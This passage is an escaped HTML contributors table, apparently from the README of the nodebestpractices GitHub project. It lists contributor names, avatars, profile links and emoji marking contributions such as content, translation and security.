     <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/BusbyActual\"><img src=\"https://avatars2.githubusercontent.com/u/14985016?v=4\" width=\"100px;\" alt=\"Ryan Busby\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ryan Busby</b></sub></a><br /><a href=\"#content-BusbyActual\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://jsdecorator.com\"><img src=\"https://avatars3.githubusercontent.com/u/4482199?v=4\" width=\"100px;\" alt=\"Iman Mohamadi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Iman Mohamadi</b></sub></a><br /><a href=\"#content-ImanMh\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/HeeL\"><img src=\"https://avatars1.githubusercontent.com/u/287769?v=4\" width=\"100px;\" alt=\"Sergii Paryzhskyi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sergii Paryzhskyi</b></sub></a><br /><a href=\"#content-HeeL\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kapilepatel\"><img src=\"https://avatars3.githubusercontent.com/u/25738473?v=4\" width=\"100px;\" alt=\"Kapil Patel\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kapil Patel</b></sub></a><br /><a href=\"#content-kapilepatel\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/justjavac\"><img src=\"https://avatars1.githubusercontent.com/u/359395?v=4\" width=\"100px;\" alt=\"迷渡\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>迷渡</b></sub></a><br /><a href=\"#content-justjavac\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/hozefaj\"><img src=\"https://avatars1.githubusercontent.com/u/2084833?v=4\" width=\"100px;\" alt=\"Hozefa\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Hozefa</b></sub></a><br /><a href=\"#content-hozefaj\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/el-ethan\"><img src=\"https://avatars3.githubusercontent.com/u/10249884?v=4\" width=\"100px;\" alt=\"Ethan\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ethan</b></sub></a><br /><a href=\"#content-el-ethan\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/milkdeliver\"><img src=\"https://avatars2.githubusercontent.com/u/3108407?v=4\" width=\"100px;\" alt=\"Sam\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sam</b></sub></a><br /><a href=\"#content-milkdeliver\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ArlindXh\"><img src=\"https://avatars0.githubusercontent.com/u/19508764?v=4\" width=\"100px;\" alt=\"Arlind\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Arlind</b></sub></a><br /><a href=\"#content-ArlindXh\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ttous\"><img src=\"https://avatars0.githubusercontent.com/u/19815440?v=4\" width=\"100px;\" alt=\"Teddy Toussaint\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Teddy Toussaint</b></sub></a><br /><a href=\"#content-ttous\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://ardern.io\"><img src=\"https://avatars2.githubusercontent.com/u/2419690?v=4\" width=\"100px;\" alt=\"Lewis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Lewis</b></sub></a><br /><a href=\"#content-LewisArdern\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://gabriellidenor.com/\"><img src=\"https://avatars2.githubusercontent.com/u/765963?v=4\" width=\"100px;\" alt=\"Gabriel Lidenor \"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Gabriel Lidenor </b></sub></a><br /><a href=\"#content-GabrielLidenor\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/animir\"><img src=\"https://avatars3.githubusercontent.com/u/4623196?v=4\" width=\"100px;\" alt=\"Roman\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Roman</b></sub></a><br /><a href=\"#content-animir\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Francozeira\"><img src=\"https://avatars1.githubusercontent.com/u/47419763?v=4\" width=\"100px;\" alt=\"Francozeira\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Francozeira</b></sub></a><br /><a href=\"#content-Francozeira\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/invvard\"><img src=\"https://avatars0.githubusercontent.com/u/7305493?v=4\" width=\"100px;\" alt=\"Invvard\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Invvard</b></sub></a><br /><a href=\"#content-Invvard\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://romulogarofalo.github.io/\"><img src=\"https://avatars1.githubusercontent.com/u/18492592?v=4\" width=\"100px;\" alt=\"Rômulo Garofalo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Rômulo Garofalo</b></sub></a><br /><a href=\"#content-romulogarofalo\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://thoqbk.github.io/\"><img src=\"https://avatars0.githubusercontent.com/u/1491103?v=4\" width=\"100px;\" alt=\"Tho Q Luong\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tho Q Luong</b></sub></a><br /><a href=\"#content-thoqbk\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Qeneke\"><img src=\"https://avatars2.githubusercontent.com/u/20271568?v=4\" width=\"100px;\" alt=\"Burak Shen\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Burak Shen</b></sub></a><br /><a href=\"#content-Qeneke\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.happy-css.com\"><img src=\"https://avatars0.githubusercontent.com/u/2950505?v=4\" width=\"100px;\" alt=\"Martin Muzatko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Martin Muzatko</b></sub></a><br /><a href=\"#content-MartinMuzatko\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/autoboxer\"><img src=\"https://avatars3.githubusercontent.com/u/2757601?v=4\" width=\"100px;\" alt=\"Jared Collier\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jared Collier</b></sub></a><br /><a href=\"#content-autoboxer\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://hiltonmeyer.com\"><img src=\"https://avatars3.githubusercontent.com/u/4545860?v=4\" width=\"100px;\" alt=\"Hilton Meyer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Hilton Meyer</b></sub></a><br /><a href=\"#content-bikingbadger\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://kr.vuejs.org\"><img src=\"https://avatars0.githubusercontent.com/u/1451365?v=4\" width=\"100px;\" alt=\"ChangJoo Park(박창주)\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>ChangJoo Park(박창주)</b></sub></a><br /><a href=\"#content-ChangJoo-Park\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/MasahiroSakaguchi\"><img src=\"https://avatars0.githubusercontent.com/u/16427431?v=4\" width=\"100px;\" alt=\"Masahiro Sakaguchi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Masahiro Sakaguchi</b></sub></a><br /><a href=\"#content-MasahiroSakaguchi\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/TheHollidayInn\"><img src=\"https://avatars1.githubusercontent.com/u/1253400?v=4\" width=\"100px;\" alt=\"Keith Holliday\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Keith Holliday</b></sub></a><br /><a href=\"#content-TheHollidayInn\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.coreycleary.me\"><img src=\"https://avatars3.githubusercontent.com/u/1485356?v=4\" width=\"100px;\" alt=\"coreyc\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>coreyc</b></sub></a><br /><a href=\"#content-coreyc\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://maxcubing.wordpress.com\"><img src=\"https://avatars0.githubusercontent.com/u/8260834?v=4\" width=\"100px;\" alt=\"Maximilian Berkmann\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Maximilian Berkmann</b></sub></a><br /><a href=\"#content-Berkmann18\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/DouglasMV\"><img src=\"https://avatars3.githubusercontent.com/u/32845487?v=4\" width=\"100px;\" alt=\"Douglas Mariano Valero\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Douglas Mariano Valero</b></sub></a><br /><a href=\"#content-DouglasMV\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/marcelosdm\"><img src=\"https://avatars0.githubusercontent.com/u/18266600?v=4\" width=\"100px;\" alt=\"Marcelo Melo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Marcelo Melo</b></sub></a><br /><a href=\"#content-marcelosdm\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/mperk_\"><img src=\"https://avatars0.githubusercontent.com/u/3465794?v=4\" width=\"100px;\" alt=\"Mehmet Perk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Mehmet Perk</b></sub></a><br /><a href=\"#content-mperk\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ryanouyang\"><img src=\"https://avatars2.githubusercontent.com/u/360426?v=4\" width=\"100px;\" alt=\"ryan ouyang\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>ryan ouyang</b></sub></a><br /><a href=\"#content-ryanouyang\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/shabeer-mdy\"><img src=\"https://avatars0.githubusercontent.com/u/26842535?v=4\" width=\"100px;\" alt=\"Shabeer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shabeer</b></sub></a><br /><a href=\"#content-shabeer-mdy\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/halfzebra\"><img src=\"https://avatars1.githubusercontent.com/u/3983879?v=4\" width=\"100px;\" alt=\"Eduard Kyvenko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Eduard Kyvenko</b></sub></a><br /><a href=\"#content-halfzebra\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://deyvisonrocha.com\"><img src=\"https://avatars2.githubusercontent.com/u/686067?v=4\" width=\"100px;\" alt=\"Deyvison Rocha\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Deyvison Rocha</b></sub></a><br /><a href=\"#content-deyvisonrocha\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://twitter.com/georgemamer\"><img src=\"https://avatars1.githubusercontent.com/u/20108934?v=4\" width=\"100px;\" alt=\"George Mamer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>George Mamer</b></sub></a><br /><a href=\"#content-georgem3\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/leimonio\"><img src=\"https://avatars0.githubusercontent.com/u/1969742?v=4\" width=\"100px;\" alt=\"Konstantinos Leimonis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Konstantinos Leimonis</b></sub></a><br /><a href=\"#content-leimonio\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Zybax\"><img src=\"https://avatars3.githubusercontent.com/u/22094453?v=4\" width=\"100px;\" alt=\"Oliver Lluberes\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Oliver Lluberes</b></sub></a><br /><a href=\"#translation-Zybax\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://stackoverflow.com/story/tiendq\"><img src=\"https://avatars2.githubusercontent.com/u/815910?v=4\" width=\"100px;\" alt=\"Tien Do\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tien Do</b></sub></a><br /><a href=\"#content-tiendq\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://singh1114.github.io/\"><img src=\"https://avatars0.githubusercontent.com/u/11356398?v=4\" width=\"100px;\" alt=\"Ranvir Singh\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ranvir Singh</b></sub></a><br /><a href=\"#content-singh1114\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/collierrgbsitisfise\"><img src=\"https://avatars3.githubusercontent.com/u/13496126?v=4\" width=\"100px;\" alt=\"Vadim Nicolaev\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vadim Nicolaev</b></sub></a><br /><a href=\"#content-collierrgbsitisfise\" title=\"Content\">🖋</a> <a href=\"#translation-collierrgbsitisfise\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/germangamboa95\"><img src=\"https://avatars3.githubusercontent.com/u/28633849?v=4\" width=\"100px;\" alt=\"German Gamboa Gonzalez\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>German Gamboa Gonzalez</b></sub></a><br /><a href=\"#content-germangamboa95\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/AbdelrahmanHafez\"><img src=\"https://avatars3.githubusercontent.com/u/19984935?v=4\" width=\"100px;\" alt=\"Hafez\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Hafez</b></sub></a><br /><a href=\"#content-AbdelrahmanHafez\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://linkedin.com/in/chandiran-dmc\"><img src=\"https://avatars3.githubusercontent.com/u/42678579?v=4\" width=\"100px;\" alt=\"Chandiran\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Chandiran</b></sub></a><br /><a href=\"#content-chandiran-dmc\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/VinayaSathyanarayana\"><img src=\"https://avatars2.githubusercontent.com/u/16976677?v=4\" width=\"100px;\" alt=\"VinayaSathyanarayana\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>VinayaSathyanarayana</b></sub></a><br /><a href=\"#content-VinayaSathyanarayana\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.kimkern.de\"><img src=\"https://avatars1.githubusercontent.com/u/2671139?v=4\" width=\"100px;\" alt=\"Kim Kern\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kim Kern</b></sub></a><br /><a href=\"#content-kiwikern\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://kennethfreitas.github.io/\"><img src=\"https://avatars2.githubusercontent.com/u/55669043?v=4\" width=\"100px;\" alt=\"Kenneth Freitas\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kenneth Freitas</b></sub></a><br /><a href=\"#content-kennethfreitas\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/songe\"><img src=\"https://avatars2.githubusercontent.com/u/1531561?v=4\" width=\"100px;\" alt=\"songe\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>songe</b></sub></a><br /><a href=\"#content-songe\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://ksed.dev\"><img src=\"https://avatars1.githubusercontent.com/u/30693707?v=4\" width=\"100px;\" alt=\"Kirill Shekhovtsov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kirill Shekhovtsov</b></sub></a><br /><a href=\"#content-Ksedline\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/SerzN1\"><img src=\"https://avatars0.githubusercontent.com/u/2534649?v=4\" width=\"100px;\" alt=\"Serge\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Serge</b></sub></a><br /><a href=\"#content-SerzN1\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/keyrwinz\"><img src=\"https://avatars3.githubusercontent.com/u/21241761?v=4\" width=\"100px;\" alt=\"keyrwinz\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>keyrwinz</b></sub></a><br /><a href=\"#content-keyrwinz\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/nDmitry\"><img src=\"https://avatars0.githubusercontent.com/u/2134568?v=4\" width=\"100px;\" alt=\"Dmitry Nikitenko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dmitry Nikitenko</b></sub></a><br /><a href=\"#content-nDmitry\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://bushuai.cc\"><img src=\"https://avatars0.githubusercontent.com/u/1875256?v=4\" width=\"100px;\" alt=\"bushuai\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>bushuai</b></sub></a><br /><a href=\"https://github.com/goldbergyoni/nodebestpractices/pulls?q=is%3Apr+reviewed-by%3Abushuai\" title=\"Reviewed Pull Requests\">👀</a> <a href=\"#content-bushuai\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://stackoverflow.com/users/1348195/benjamin-gruenbaum\"><img src=\"https://avatars2.githubusercontent.com/u/1315533?v=4\" width=\"100px;\" alt=\"Benjamin Gruenbaum\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Benjamin Gruenbaum</b></sub></a><br /><a href=\"#content-benjamingr\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/byeze\"><img src=\"https://avatars1.githubusercontent.com/u/7424138?v=4\" width=\"100px;\" alt=\"Ezequiel\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ezequiel</b></sub></a><br /><a href=\"#translation-byeze\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/juaoose\"><img src=\"https://avatars3.githubusercontent.com/u/994594?v=4\" width=\"100px;\" alt=\"Juan José Rodríguez\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Juan José Rodríguez</b></sub></a><br /><a href=\"#translation-juaoose\" title=\"Translation\">🌍</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/OrBin\"><img src=\"https://avatars1.githubusercontent.com/u/6897234?v=4\" width=\"100px;\" alt=\"Or Bin\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Or Bin</b></sub></a><br /><a href=\"#content-OrBin\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/andreoav07\"><img src=\"https://avatars2.githubusercontent.com/u/508827?v=4\" width=\"100px;\" alt=\"Andreo Vieira\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Andreo Vieira</b></sub></a><br /><a href=\"#content-andreoav\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/mikicho\"><img src=\"https://avatars1.githubusercontent.com/u/11459632?v=4\" width=\"100px;\" alt=\"Michael Solomon\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Michael Solomon</b></sub></a><br /><a href=\"#content-mikicho\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jimmycallin\"><img src=\"https://avatars0.githubusercontent.com/u/2225828?v=4\" width=\"100px;\" alt=\"Jimmy Callin\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jimmy Callin</b></sub></a><br /><a href=\"#content-jimmycallin\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/siddharthofficial/\"><img src=\"https://avatars2.githubusercontent.com/u/26025955?v=4\" width=\"100px;\" alt=\"Siddharth\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Siddharth</b></sub></a><br /><a href=\"#content-w01fS\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://ryansmith.tech/\"><img src=\"https://avatars0.githubusercontent.com/u/1578766?v=4\" width=\"100px;\" alt=\"Ryan Smith\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ryan Smith</b></sub></a><br /><a href=\"#content-ryan3E0\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://de.linkedin.com/in/tom-boettger\"><img src=\"https://avatars2.githubusercontent.com/u/49961674?v=4\" width=\"100px;\" alt=\"Tom Boettger\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tom Boettger</b></sub></a><br /><a href=\"#content-bttger\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jormaechea\"><img src=\"https://avatars3.githubusercontent.com/u/5612500?v=4\" width=\"100px;\" alt=\"Joaquín Ormaechea\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Joaquín Ormaechea</b></sub></a><br /><a href=\"#translation-jormaechea\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/dfrzuz\"><img src=\"https://avatars3.githubusercontent.com/u/71859096?v=4\" width=\"100px;\" alt=\"dfrzuz\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>dfrzuz</b></sub></a><br /><a href=\"#translation-dfrzuz\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/victor-homyakov\"><img src=\"https://avatars1.githubusercontent.com/u/121449?v=4\" width=\"100px;\" alt=\"Victor Homyakov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Victor Homyakov</b></sub></a><br /><a href=\"#content-victor-homyakov\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://joshuahemphill.com\"><img src=\"https://avatars3.githubusercontent.com/u/46608115?v=4\" width=\"100px;\" alt=\"Josh\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Josh</b></sub></a><br /><a href=\"#content-josh-hemphill\" title=\"Content\">🖋</a> <a href=\"#security-josh-hemphill\" title=\"Security\">🛡️</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/alec-francis\"><img src=\"https://avatars2.githubusercontent.com/u/32949882?v=4\" width=\"100px;\" alt=\"Alec Francis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alec Francis</b></sub></a><br /><a href=\"#content-alec-francis\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/arjun6610\"><img src=\"https://avatars1.githubusercontent.com/u/61268891?v=4\" width=\"100px;\" 